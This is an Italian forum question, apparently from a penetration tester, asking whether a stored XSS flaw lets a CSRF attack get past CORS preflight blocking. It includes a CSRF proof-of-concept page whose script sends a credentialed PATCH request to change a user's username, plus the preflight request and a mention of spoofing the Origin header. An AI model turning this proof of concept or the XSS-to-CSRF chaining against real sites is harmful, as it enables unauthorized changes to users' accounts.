In un'applicazione che sto testando, c'è un difetto XSS memorizzato. Ora, stavo testando CSRF e ho costruito una pagina HTML con un javascript che inviava la richiesta Ajax (XHR). Ha causato una richiesta di pre-volo e quindi il browser dice che la richiesta di origine incrociata è bloccata mentre manca Access-Control-Allow-Origin. La mia domanda è: se utilizzo il difetto XSS memorizzato, la richiesta verrà inviata dallo stesso dominio e l'attacco CSRF avrà esito positivo?
Grazie in anticipo.
<html>
<!-- CSRF PoC-->
<body>
<p>csrf test</p>
<script>
var http = new XMLHttpRequest();
var params = "{\"username\":\"pentester12\"}";
http.open("PATCH", "https://www.domain.com/data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false", true);
http.setRequestHeader("Accept","application/json, text/javascript, */*; q=0.01");
http.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4");
http.setRequestHeader("Referer","https://www.domain.com/data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false");
http.setRequestHeader("Connection","close");
http.setRequestHeader("Accept-Language","en-US,en;q=0.5");
http.setRequestHeader("Accept-Encoding","gzip, deflate");
http.setRequestHeader("Content-Type","text/plain; charset=UTF-8");
http.setRequestHeader("Origin","www.domain.com");
http.withCredentials= "true";
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.info(http.status);
console.info(http.responseText);
}
}
http.send(params);
</script>
</body>
</html>
Richiesta pre-volo:
OPTIONS /data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false HTTP/1.1
Host: www.domain.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: PATCH
Access-Control-Request-Headers: user-agent
Origin: null
Connection: close
Ho falsificato l'intestazione Origin sul dominio di destinazione utilizzando Burp. Ma ho avuto lo stesso errore CORS.